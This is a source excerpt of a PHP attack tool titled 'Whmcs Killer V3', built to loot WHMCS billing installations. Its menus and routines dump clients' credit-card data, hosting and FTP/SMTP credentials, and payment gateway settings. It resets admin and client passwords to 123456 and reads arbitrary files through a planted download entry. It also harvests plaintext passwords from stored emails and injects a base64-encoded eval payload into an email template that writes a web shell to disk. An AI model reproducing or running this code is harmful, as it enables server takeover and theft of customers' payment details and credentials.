  414. <link rel="stylesheet" media="screen,projection" type="text/css" href="'.$currentFile.'?css=4" title="2col" /> <!-- DEFAULT: 2 COLUMNS -->
  415. <link rel="alternate stylesheet" media="screen,projection" type="text/css" href="'.$currentFile.'?css=3" title="1col" /> <!-- ALTERNATE: 1 COLUMN -->
  416.  
  417. <link rel="stylesheet" media="screen,projection" type="text/css" href="'.$currentFile.'?css=2" /> <!-- GRAPHIC THEME -->
  418.  
  419. <title>Whmcs Killer V3 (Coded by RAB3OUN)</title>
  420. </head>
  421. <body>
  422. <div id="main">
  423. <?/**/?>
  424. <!-- Tray -->
  425. <div id="tray" class="box">
  426. <p class="f-left box">
  427.  
  428. <strong>WHMCS KILLER V3 </strong>
  429. </p>
  430. <p class="f-right">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><a href="?p=9" id="logout">Log out</a></strong></p>
  431. </div> <!-- /tray -->
  432. <hr class="noscreen" />
  433. <center><img src="?img=0"></center>
  434. <hr class="noscreen" />
  435. <!-- Columns -->
  436. <div id="cols" class="box">
  437. <!-- Aside (Left Column) -->
  438. <div id="aside" class="box">
  439. <div class="padding box">
  440.  
  441.  
  442.  
  443. </div> <!-- /padding -->
  444. <ul class="box">';
  445.  
  446.  
  447. $menu=array('h' => 'Home' ,
  448. '102' => 'Info' ,
  449. '1' => 'H0st r00ts' ,
  450. '2' => 'Domains Resellers' ,
  451. '3' => 'Clients r00ts' ,
  452. '4' => 'Clients Hosting Accounts' ,
  453. '5' => 'Clients CC' ,
  454. '52' => 'Clients CC 2' ,
  455. '63' => 'Clients Tickets ' ,
  456. '100' => 'Clients List ' ,
  457. '105' => 'Clients Password' ,
  458. '7' => 'FTP and SMTP password' ,
  459. '8' => 'Tools' ,
  460. '101' => 'Eval PHP' ,
  461. '99" target="blank' => 'SQL' ,
  462. '11' => 'BackUp' ,
  463. '106' => 'DailyEmailBackup' ,
  464. '108' => '1nj3c7 Sh311' ,
  465. '109' => 'Payment Gateways' ,
  466. '111' => 'Addon Modules' ,
  467. '107' => 'Index' ,
  468. // '110' => 'Load File' ,
  469. '112' => 'Custom Fields' );
  470. if($_COOKIE["login"]<>"1") $menu=array("c1"=>"Db Config","c2"=>"Symlink to configuration.php of WHMCS","c3"=>"Short info");
  471. foreach ($menu as $x=>$y){
  472. if ($_GET['p']==$x)
  473. {
  474. echo("<li id='submenu-active'>\n<a href=\"?p=$x\"> $y</a>");
  475. }
  476. else
  477. {
  478. echo("<li ><a href=\"?p=$x\" > $y</a>");
  479. }
  480. if (($x==8))
  481. {
  482.  
  483. echo '<ul>';
  484. echo "<li><a href=\"?p=8&page=1\" > Upload</a></li>
  485. <li><a href=\"?p=8&page=2\" >Delete Adminlog </a></li>
  486. <li><a href=\"?p=8&page=3\" >Change Admin Password to 123456</a></li>
  487. <li><a href=\"?p=8&page=4\" >Change Client Password to 123456</a></li>
  488. <li><a href=\"?p=8&page=5\" >Change Client Mail </a></li>
  489. <li><a href=\"?p=8&page=6\" >Decrypt Password</a></li>";
  490. echo '</ul>';
  491. echo "</li>";
  492. }else{
  493. echo "</li>";
  494. }
  495. }
  496. ?>
  497. </ul>
  498.  
  499.  
  500. </div> <!-- /aside -->
  501. <hr class="noscreen" />
  502. <!-- Content (Right Column) -->
  503. <div id="content" class="box">
  504.  
  505. <?php
  506. }
  507. if($_COOKIE["login"]=="1")
  508. {
  509. $db_host=($_COOKIE["db_host"]);
  510. $db_username=($_COOKIE["db_username"]);
  511. $db_password=($_COOKIE["db_password"]);
  512. $db_name=($_COOKIE["db_name"]);
  513. $cc_encryption_hash=($_COOKIE["cc_encryption_hash"]);
  514. $link=@mysql_connect($db_host,$db_username,$db_password);
  515. mysql_select_db($db_name,$link);
  516. }
  517. if($p and($_COOKIE["login"]<>"1"))
  518. {
  519.  
  520. header2();
  521. login();
  522. exit;
  523. }
  524. if(($_COOKIE["login"]<>"1"))
  525. {
  526.  
  527. header2();
  528. login();
  529. exit;
  530. }
  531. $db_host=($_COOKIE["db_host"]);
  532. $db_username=($_COOKIE["db_username"]);
  533. $db_password=($_COOKIE["db_password"]);
  534. $db_name=($_COOKIE["db_name"]);
  535. $cc_encryption_hash=($_COOKIE["cc_encryption_hash"]);
  536. $link=@mysql_connect($db_host,$db_username,$db_password);
  537. mysql_select_db($db_name,$link);
  538. if(!$link)
  539. {
  540. echo("<h1>Database error</h1>");
  541. header1();
  542. login();
  543. exit;
  544. }
  545. if($p) header1();
  546. echo '<a style="display:scroll;position:fixed;bottom:5px;right:5px;" href="#" title="Back to Top"><img src="?img=1" /></a> ';
  547. switch($p)
  548. {
  549. ################################################### Menu
  550. case"m":
  551. echo("<table><tr><td><a href=\"?p=h\" target=\"frame1\"> Home</a></td></tr><tr><td>\n<a href=\"?p=102\" target=\"frame1\"> Info</a></td></tr><tr><td>\n<a href=\"?p=1\" target=\"frame1\"> H0st r00ts</a></td></tr><tr><td>\n<a href=\"?p=2\" target=\"frame1\"> Domains Resellers</a></td></tr><tr><td>\n<a href=\"?p=3\" target=\"frame1\"> Clients r00ts</a></td></tr><tr><td>\n<a href=\"?p=4\" target=\"frame1\"> Clients Hosting Accounts</a></td></tr><tr><td>\n<a href=\"?p=5\" target=\"frame1\"> Clients CC</a></td></tr><tr><td>\n<a href=\"?p=63\" target=\"frame1\"> Clients Tickets </a></td></tr><tr><td>\n<a href=\"?p=7\" target=\"frame1\"> FTP and SMTP password</a></td></tr><tr><td>\n
  552. <a href=\"?p=8\" target=\"frame1\"> Tools</a>
  553. </td></tr><tr><td>\n<a href=\"?p=99\" target=\"frame1\"> SQL</a></td></tr><tr><td>\n<a href=\"?p=100\" target=\"frame1\"> Clients list </a></td></tr><tr><td>\n<a href=\"?p=105\" target=\"frame1\">Clients Password</a></td></tr><tr><td>\n<a href=\"?p=11\" target=\"frame1\">BackUp</a></td></tr><tr><td>\n<a href=\"?p=101\" target=\"frame1\">Eval PHP</a></td></tr><tr><td>\n<a href=\"?p=106\" target=\"frame1\"> DailyEmailBackup</a></td></tr><tr><td><a href=\"?p=107\" target=\"frame1\"> Index</a></td></tr><tr><td><a href=\"?p=108\" target=\"frame1\"> 1nj3c7 Sh311</a></td></tr><tr><td><a href=\"?p=109\" target=\"frame1\"> Payment Gateways</a></td></tr><tr><td><a href=\"?p=111\" target=\"frame1\"> Addon Modules</a></td></tr><tr><td><a href=\"?p=110\" target=\"frame1\"> Load File</a></td></tr><tr><td><a href=\"?p=112\" target=\"frame1\"> Custom Fields</a></td></tr><tr><td>\n<a href=\"?p=9\" target=\"_parent\"> Logout</a></td></tr></table>");
  554. break;
  555. ###################################################
  556. case"h":
  557. login();
  558. exit;
  559. break;
  560. ###################################################
  561. case 110:
  562. $r=randomt();
  563. $query0=mysql_query("SELECT value FROM tblconfiguration where setting='SystemURL'");
  564. $v0=mysql_fetch_array($query0);
  565. $SystemURL=$v0['value'];
  566. echo "<table><form method=\"POST\" action=\"?p=110\" >
  567. <tr><td>Website Url</td><td>
  568. <input type=\"text\" size=60 name=\"url\" value=\"".$SystemURL."\"></td></tr>
  569. <tr><td>File</td><td><input type=\"text\" size=60 name=\"file\" value=\"../configuration.php\"></td></tr>
  570. </table>
  571. <input type=\"Submit\" name=\"Submit\" value=\"Submit\">
  572. <input type=\"hidden\" name=\"action\" value=\"1\"></form>";
  573. if($_POST["action"]=="1")
  574. {
  575. $result=mysql_query("INSERT INTO `tbldownloadcats` (`id`, `parentid`, `name`, `description`, `hidden`) VALUES
  576. (', 0, '$r', ', ');")or die("Erreur SQL !<br>".mysql_error());
  577. $id = mysql_insert_id();
  578. // echo $id;
  579. $result=mysql_query("INSERT INTO `tbldownloads` (`id`, `category`, `type`, `title`, `description`, `downloads`, `location`, `clientsonly`, `productdownload`) VALUES
  580. (', '$id', 'zip', '$r', '$r', 0, '".$_POST["file"]."', ', ');")or die("Erreur SQL !<br>".mysql_error());
  581. $id = mysql_insert_id();
  582. // echo $id;
  583. $ch = curl_init();
  584. curl_setopt($ch,CURLOPT_URL,$_POST["url"]."/dl.php?type=d&id=$id");
  585.  
  586. curl_setopt($ch, CURLOPT_HEADER, 0);
  587. curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  588. curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0 ");
  589.  
  590. $result = curl_exec($ch);
  591. echo "<xmp>$result</xmp>" ;
  592. $result=mysql_query("delete from `tbldownloadcats` where `name`='$r'");
  593. $result=mysql_query("delete from `tbldownloads` where `title`='$r'");
  594. }
  595. break;
  596. ###################################################
  597. case 112:
  598.  
  599. if (($_POST['action']=='1') and is_array($_POST['id']))
  600. {
  601.  
  602. echo("<center><h1>Custom Fields Values</h1><br><table border'1'>");
  603.  
  604. $x= implode(",",$_POST['id']);
  605.  
  606. $result=mysql_query("SELECT * FROM `tblcustomfieldsvalues` where fieldid in ($x) order by relid") ;
  607. $fieldnum=@mysql_num_fields($result);
  608. echo("<tr>");
  609. for($i=0;$i<$fieldnum;$i++)
  610. {
  611. $name=@mysql_field_name($result,$i);
  612. echo("<th>$name</th>");
  613. }
  614. echo("</tr>");
  615. $last="";
  616. $k=0;
  617. while($v=@mysql_fetch_array($result,1))
  618. {
  619. if ($k%2==0) {$bg='class="bg"';} else {$bg=';}
  620. if ($v['relid']<>$last) echo "<TR><TD COLSPAN=14>&nbsp;</td></TR>";
  621. $last=$v['relid'];
  622. $td="<tr $bg><td>";
  623. $td=$td.implode("</td><td>",$v);
  624. $td=$td."</tr>\n";
  625. echo($td);
  626. $k++;
  627. }
  628.  
  629. echo("</table></center>");
  630. exit;
  631. }
  632. echo("<center><h1>Custom Fields</h1><br></center><form action=\"?p=112\" name=\"formw\" method=\"post\"><table width='75%' border='1'>");
  633. $result=mysql_query("SELECT * FROM `tblcustomfields` order by relid ");
  634. $fieldnum=@mysql_num_fields($result);
  635. echo("\n<tr><th></th>");
  636. for($i=0;$i<$fieldnum;$i++)
  637. {
  638. $name=@mysql_field_name($result,$i);
  639. echo("<th>$name</th>");
  640. }
  641. echo("</tr>");
  642. $last="";
  643. $k=1;
  644. while($v=@mysql_fetch_array($result,1))
  645. {
  646. if ($v['relid']<>$last) {echo "<TR><TD COLSPAN=14>&nbsp;</td></TR>";$k++;}
  647. if ($k%2==0) {$bg='class="bg"';} else {$bg=';}
  648. $last=$v['relid'];
  649. $id=$v['id'];
  650. $td="\n<tr $bg><td>
  651. <input type=\"checkbox\" name=\"id[]\" value=\"$id\" />
  652. </td><td>";
  653. $td=$td.implode("</td><td >",$v);
  654. $td=$td."</td></tr>\n";
  655. echo($td);
  656. }
  657.  
  658. echo("</table><br><input type='hidden' name='action' value='1'/><input type='submit'/></form>");
  659.  
  660. break;
  661. ###################################################
  662. case 111:
  663. echo("<center><h1>Addon Modules</h1>");
  664. table("SELECT * FROM `tbladdonmodules` order by module",array('module','setting','value'));
  665. echo("</center>");
  666. break;
  667. ###################################################
  668. case 109:
  669. echo("<center><h1>Payment Gateways</h1><br>");
  670. table("SELECT * FROM `tblpaymentgateways`",array("gateway","setting","value","order"));
  671. echo("</center>");
  672. break;
  673. ###################################################
  674. case 105:
  675. echo "<center><h1>Clients Password</h1>";
  676. $query0=mysql_query("SELECT * FROM tblemailtemplates where name='Client Signup Email' or name='Password Reset Confirmation'");
  677. while($v0=mysql_fetch_array($query0))
  678. {
  679. $t=$v0['subject'];
  680. $t=trim(str_replace('{$company_name}',',$t));
  681. $c=$v0['message'];
  682. $c=explode("\n",$c);
  683. $r="";
  684. for ($i=0;$i<count($c);$i++) {
  685. if(strpos($c[$i],'{$client_password}')>0) {
  686. $r.= $c[$i];
  687. }elseif(strpos($c[$i],'{$client_email}')>0) {
  688. $r.= $c[$i];
  689. }
  690. }
  691. $r=preg_quote($r);
  692. $r=str_replace('\{\$client_email\}','(.*)',$r);
  693. $r=str_replace('\{\$client_password\}','(.*)',$r);
  694. $r=str_replace('\{\$whmcs_link\}','(.*)',$r);
  695. $r=str_replace('\{\$signature\}','(.*)',$r);
  696. $r=str_replace('\{\$client_name\}','(.*)',$r);
  697. $r=str_replace("\n","",$r);
  698. $r=str_replace("\r","",$r);
  699. $query=mysql_query("SELECT message,userid FROM tblemails where subject like '%".$t."%'");
  700. while($v=mysql_fetch_array($query))
  701. {
  702. $mail=$v['message'];
  703. $mail=str_replace("\n","",$mail);
  704. $mail=str_replace("\r","",$mail);
  705. // echo $mail;
  706. $reg = "|(.*)$r(.*)|isU";
  707. // echo $reg;
  708. $a=array();
  709. preg_match_all($reg,($mail),$a);
  710. for ($i=1;$i<count($a);$i++){
  711. if( eregi("^[_\.0-9a-z-]+@([0-9a-z-]+\.)+[a-z]{2,10}$",$a[$i][0]) ) {
  712. $list[$v['userid']]['mail'][]=$a[$i][0];
  713. $list[$v['userid']]['pass'][]=$a[$i+1][0];
  714. }
  715. }
  716. }
  717.  
  718. }
  719. echo("<h3 class=\"tit\">Total Records ".(count($list)-1)."</h3>");
  720. echo "<table border='1'>";
  721. foreach ($list as $x=>$y){
  722. echo "<tr><td><a href='?p=12&id=$x'>$x</a></td><td>".implode("<br>",$y['mail'])."</td><td>".implode("<br>",$y['pass'])."</td></tr>";
  723. }
  724. echo "</table>";
  725. break;
  726. ######################################################################################################
  727. case 108:
  728. echo "<center><h1>1nj3c7 Sh311</h1>";
  729.  
  730.  
  731.  
  732. if($_POST["action"]=="1")
  733. {
  734. $tryChaning=mysql_query("Update tblemailtemplates set message='".mysql_real_escape_string(stripslashes($_POST["c"]))."' where name='Client Signup Email'" )or die("Erreur SQL !<br>".mysql_error());
  735. if($tryChaning)
  736. {
  737.  
  738. echo '<p class="msg done">Updated successfully </p>';
  739. }
  740. else
  741. {
  742.  
  743. echo("<h3 class=\"tit\"><br>Error</h3>");
  744. }
  745. }
  746. $query0=mysql_query("SELECT message from tblemailtemplates where name='Client Signup Email'");
  747. $v0=mysql_fetch_array($query0);
  748. echo "<br><form method=\"POST\" action=\"?p=108\" ><textarea name=\"c\" cols='50' rows='10' >".$v0["message"]."</textarea><br><br><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"action\" value=\"1\"></form>";
  749. echo "</center><p class='msg warning'>Add one of this code<u> in the end of code</u> And register you will get your file</p><br><center>";
  750. echo "<fieldset><legend>rab3oun.php</legend><textarea cols='50' rows='10' >{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajQ4UHcwS1pYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE93MEtKSE5qY21sd2RHNWhiV1VnUFNBa1gxTkZVbFpGVWxzblUwTlNTVkJVWDA1QlRVVW5YVHNOQ2lSbWFXeGxibUZ0WlNBOUlDUmZVRTlUVkZzaVptbHNaVzVoYldVaVhUc05DbWxtS0NSZlVFOVRWRnNpYzNWaWJXbDBJbDBnUFQwZ0lrOXdaVzRpS1EwS2V3MEthV1lvWm1sc1pWOWxlR2x6ZEhNb0pHWnBiR1Z1WVcxbEtTa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0JvZEcxc1pXNTBhWFJwWlhNb1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0pHWnBiR1Z1WVcxbEtTazdEUXBwWmlnaEpHWnBiR1ZqYjI1MFpXNTBjeWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1RmNuSnZjaUJ2Y2lCT2J5QmpiMjUwWlc1MGN5QnBiaUJtYVd4bFBDOW1iMjUwUGlJN0RRcDlEUXBsYkhObERRb2tjM1JoZEhWeklEMGdJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytSbWxzWlNCa2IyVnpJRzV2ZENCbGVHbHpkQ0U4TDJadmJuUStJanNOQ24wSkNRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pFWld4bGRHVWlLUTBLZXcwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuc05DbWxtS0hWdWJHbHVheWdrWm1sc1pXNWhiV1VwS1FrTkNpUnpkR0YwZFhNZ1BTQWlQR1p2Ym5RZ1ptRmpaVDBuVm1WeVpHRnVZU2NnYzNSNWJHVTlKMlp2Ym5RdGMybDZaVG9nT0hCMEp6NUdhV3hsSUhOMVkyTmxjM05tZFd4c2VTQmtaV3hsZEdWa0lUd3ZabTl1ZEQ0aU93MEtaV3h6WlEwS0pITjBZWFIxY3lBOUlDSThabTl1ZENCbVlXTmxQU2RXWlhKa1lXNWhKeUJ6ZEhsc1pUMG5abTl1ZEMxemFYcGxPaUE0Y0hRblBrTnZkV3hrSUc1dmRDQmtaV3hsZEdVZ1ptbHNaU0U4TDJadmJuUStJanNOQ24wTkNtVnNjMlVOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJR1J2WlhNZ2JtOTBJR1Y0YVhOMElUd3ZabTl1ZEQ0aU93MEtmUTBLWld4elpTQnBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKVFlYWmxJaWtOQ25zTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCemRISnBjSE5zWVhOb1pYTW9hSFJ0YkY5bGJuUnBkSGxmWkdWamIyUmxLQ1JmVUU5VFZGc2lZMjl1ZEdWdWRITWlYU2twT3cwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuVnViR2x1YXlna1ptbHNaVzVoYldVcE93MEtKR2hoYm1Sc1pTQTlJR1p2Y0dWdUtDUm1hV3hsYm1GdFpTd2dJbmNpS1RzTkNtbG1LQ0VrYUdGdVpHeGxLUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCdmNHVnVJR1pwYkdVZ1ptOXlJSGR5YVhSbElHRmpZMlZ6Y3lFZ1BDOW1iMjUwUGlJN0RRcGxiSE5sRFFwN0RRcHBaaWdoWm5keWFYUmxLQ1JvWVc1a2JHVXNJQ1JtYVd4bFkyOXVkR1Z1ZEhNcEtRMEtKSE4wWVhSMWN5QTlJQ1J6ZEdGMGRYTXVJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytRMjkxYkdRZ2JtOTBJSGR5YVhSbElIUnZJR1pwYkdVaElDaE5ZWGxpWlNCNWIzVWdaR2xrYmlkMElHVnVkR1Z5SUdGdWVTQjBaWGgwUHlrOEwyWnZiblErSWpzTkNtWmpiRzl6WlNna2FHRnVaR3hsS1RzTkNuME5DaVJtYVd4bFkyOXVkR1Z1ZEhNZ1BTQm9kRzFzWlc1MGFYUnBaWE1vSkdacGJHVmpiMjUwWlc1MGN5azdEUXA5RFFwbGJITmxEUXA3RFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1RtOGdabWxzWlNCc2IyRmtaV1FoUEM5bWIyNTBQaUk3RFFwOURRby9QZzBLUEhSaFlteGxJR0p2Y21SbGNqMGlNQ0lnWVd4cFoyNDlJbU5sYm5SbGNpSStQSFJ5UGp4MFpENDhkR0ZpYkdVZ2QybGtkR2c5SWpFd01DVWlJR0p2Y21SbGNqMGlNQ0krUEhSeVBqeDBaRDROQ2p4bWIzSnRJRzFsZEdodlpEMGljRzl6ZENJZ1lXTjBhVzl1UFNJOFAwVmphRzhnSkhOamNtbHdkRzVoYldVN1B6NGlQZzBLUEdsdWNIVjBJRzVoYldVOUltWnBiR1Z1WVcxbElpQjBlWEJsUFNKMFpYaDBJaUIyWVd4MVpUMGlQRDlGWTJodklDUm1hV3hsYm1GdFpUcy9QaUlnYzJsNlpUMGlOeklpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaWMzVmliV2wwSWlCMllXeDFaVDBpVDNCbGJpSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSkVaV3hsZEdVaVBqd3ZkR1ErUEM5MGNqNDhMM1JoWW14bFBnMEtQR1p2Ym5RZ1ptRmpaVDBpVm1WeVpHRnVZU0lnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nTVRGd2RDSStEUW84ZEdWNGRHRnlaV0VnYm1GdFpUMGlZMjl1ZEdWdWRITWlJR052YkhNOUlqY3dJaUJ5YjNkelBTSXlOU0krRFFvOFAwVmphRzhnSkdacGJHVmpiMjUwWlc1MGN6cy9Qand2ZEdWNGRHRnlaV0UrUEM5bWIyNTBQanhpY2o0TkNqeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWxOaGRtVWlQZzBLUEdsdWNIVjBJSFI1Y0dVOUluSmxjMlYwSWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZz09Jyk7DQoNCiRmMHAzbiA9IGZvcGVuICgncmFiM291bi5waHAnLCd3Jyk7DQoNCiR3cml0ICA9IGZ3cml0ZSgkZjBwM24gLCAkYzBkZSk7'));{/php}</textarea></fieldset>";
  751. echo "<fieldset><legend>downloads/rab3oun.php</legend><textarea cols='50' rows='10' >{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajQ4UHcwS1pYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE93MEtKSE5qY21sd2RHNWhiV1VnUFNBa1gxTkZVbFpGVWxzblUwTlNTVkJVWDA1QlRVVW5YVHNOQ2lSbWFXeGxibUZ0WlNBOUlDUmZVRTlUVkZzaVptbHNaVzVoYldVaVhUc05DbWxtS0NSZlVFOVRWRnNpYzNWaWJXbDBJbDBnUFQwZ0lrOXdaVzRpS1EwS2V3MEthV1lvWm1sc1pWOWxlR2x6ZEhNb0pHWnBiR1Z1WVcxbEtTa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0JvZEcxc1pXNTBhWFJwWlhNb1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0pHWnBiR1Z1WVcxbEtTazdEUXBwWmlnaEpHWnBiR1ZqYjI1MFpXNTBjeWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1RmNuSnZjaUJ2Y2lCT2J5QmpiMjUwWlc1MGN5QnBiaUJtYVd4bFBDOW1iMjUwUGlJN0RRcDlEUXBsYkhObERRb2tjM1JoZEhWeklEMGdJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytSbWxzWlNCa2IyVnpJRzV2ZENCbGVHbHpkQ0U4TDJadmJuUStJanNOQ24wSkNRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pFWld4bGRHVWlLUTBLZXcwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuc05DbWxtS0hWdWJHbHVheWdrWm1sc1pXNWhiV1VwS1FrTkNpUnpkR0YwZFhNZ1BTQWlQR1p2Ym5RZ1ptRmpaVDBuVm1WeVpHRnVZU2NnYzNSNWJHVTlKMlp2Ym5RdGMybDZaVG9nT0hCMEp6NUdhV3hsSUhOMVkyTmxjM05tZFd4c2VTQmtaV3hsZEdWa0lUd3ZabTl1ZEQ0aU93MEtaV3h6WlEwS0pITjBZWFIxY3lBOUlDSThabTl1ZENCbVlXTmxQU2RXWlhKa1lXNWhKeUJ6ZEhsc1pUMG5abTl1ZEMxemFYcGxPaUE0Y0hRblBrTnZkV3hrSUc1dmRDQmtaV3hsZEdVZ1ptbHNaU0U4TDJadmJuUStJanNOQ24wTkNtVnNjMlVOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJR1J2WlhNZ2JtOTBJR1Y0YVhOMElUd3ZabTl1ZEQ0aU93MEtmUTBLWld4elpTQnBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKVFlYWmxJaWtOQ25zTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCemRISnBjSE5zWVhOb1pYTW9hSFJ0YkY5bGJuUnBkSGxmWkdWamIyUmxLQ1JmVUU5VFZGc2lZMjl1ZEdWdWRITWlYU2twT3cwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuVnViR2x1YXlna1ptbHNaVzVoYldVcE93MEtKR2hoYm1Sc1pTQTlJR1p2Y0dWdUtDUm1hV3hsYm1GdFpTd2dJbmNpS1RzTkNtbG1LQ0VrYUdGdVpHeGxLUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCdmNHVnVJR1pwYkdVZ1ptOXlJSGR5YVhSbElHRmpZMlZ6Y3lFZ1BDOW1iMjUwUGlJN0RRcGxiSE5sRFFwN0RRcHBaaWdoWm5keWFYUmxLQ1JvWVc1a2JHVXNJQ1JtYVd4bFkyOXVkR1Z1ZEhNcEtRMEtKSE4wWVhSMWN5QTlJQ1J6ZEdGMGRYTXVJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytRMjkxYkdRZ2JtOTBJSGR5YVhSbElIUnZJR1pwYkdVaElDaE5ZWGxpWlNCNWIzVWdaR2xrYmlkMElHVnVkR1Z5SUdGdWVTQjBaWGgwUHlrOEwyWnZiblErSWpzTkNtWmpiRzl6WlNna2FHRnVaR3hsS1RzTkNuME5DaVJtYVd4bFkyOXVkR1Z1ZEhNZ1BTQm9kRzFzWlc1MGFYUnBaWE1vSkdacGJHVmpiMjUwWlc1MGN5azdEUXA5RFFwbGJITmxEUXA3RFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1RtOGdabWxzWlNCc2IyRmtaV1FoUEM5bWIyNTBQaUk3RFFwOURRby9QZzBLUEhSaFlteGxJR0p2Y21SbGNqMGlNQ0lnWVd4cFoyNDlJbU5sYm5SbGNpSStQSFJ5UGp4MFpENDhkR0ZpYkdVZ2QybGtkR2c5SWpFd01DVWlJR0p2Y21SbGNqMGlNQ0krUEhSeVBqeDBaRDROQ2p4bWIzSnRJRzFsZEdodlpEMGljRzl6ZENJZ1lXTjBhVzl1UFNJOFAwVmphRzhnSkhOamNtbHdkRzVoYldVN1B6NGlQZzBLUEdsdWNIVjBJRzVoYldVOUltWnBiR1Z1WVcxbElpQjBlWEJsUFNKMFpYaDBJaUIyWVd4MVpUMGlQRDlGWTJodklDUm1hV3hsYm1GdFpUcy9QaUlnYzJsNlpUMGlOeklpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaWMzVmliV2wwSWlCMllXeDFaVDBpVDNCbGJpSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSkVaV3hsZEdVaVBqd3ZkR1ErUEM5MGNqNDhMM1JoWW14bFBnMEtQR1p2Ym5RZ1ptRmpaVDBpVm1WeVpHRnVZU0lnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nTVRGd2RDSStEUW84ZEdWNGRHRnlaV0VnYm1GdFpUMGlZMjl1ZEdWdWRITWlJR052YkhNOUlqY3dJaUJ5YjNkelBTSXlOU0krRFFvOFAwVmphRzhnSkdacGJHVmpiMjUwWlc1MGN6cy9Qand2ZEdWNGRHRnlaV0UrUEM5bWIyNTBQanhpY2o0TkNqeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWxOaGRtVWlQZzBLUEdsdWNIVjBJSFI1Y0dVOUluSmxjMlYwSWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZz09Jyk7DQoNCiRmMHAzbiA9IGZvcGVuICgnZG93bmxvYWRzL3JhYjNvdW4ucGhwJywndycpOw0KDQokd3JpdCAgPSBmd3JpdGUoJGYwcDNuICwgJGMwZGUpOw=='));{/php}</textarea></fieldset>";
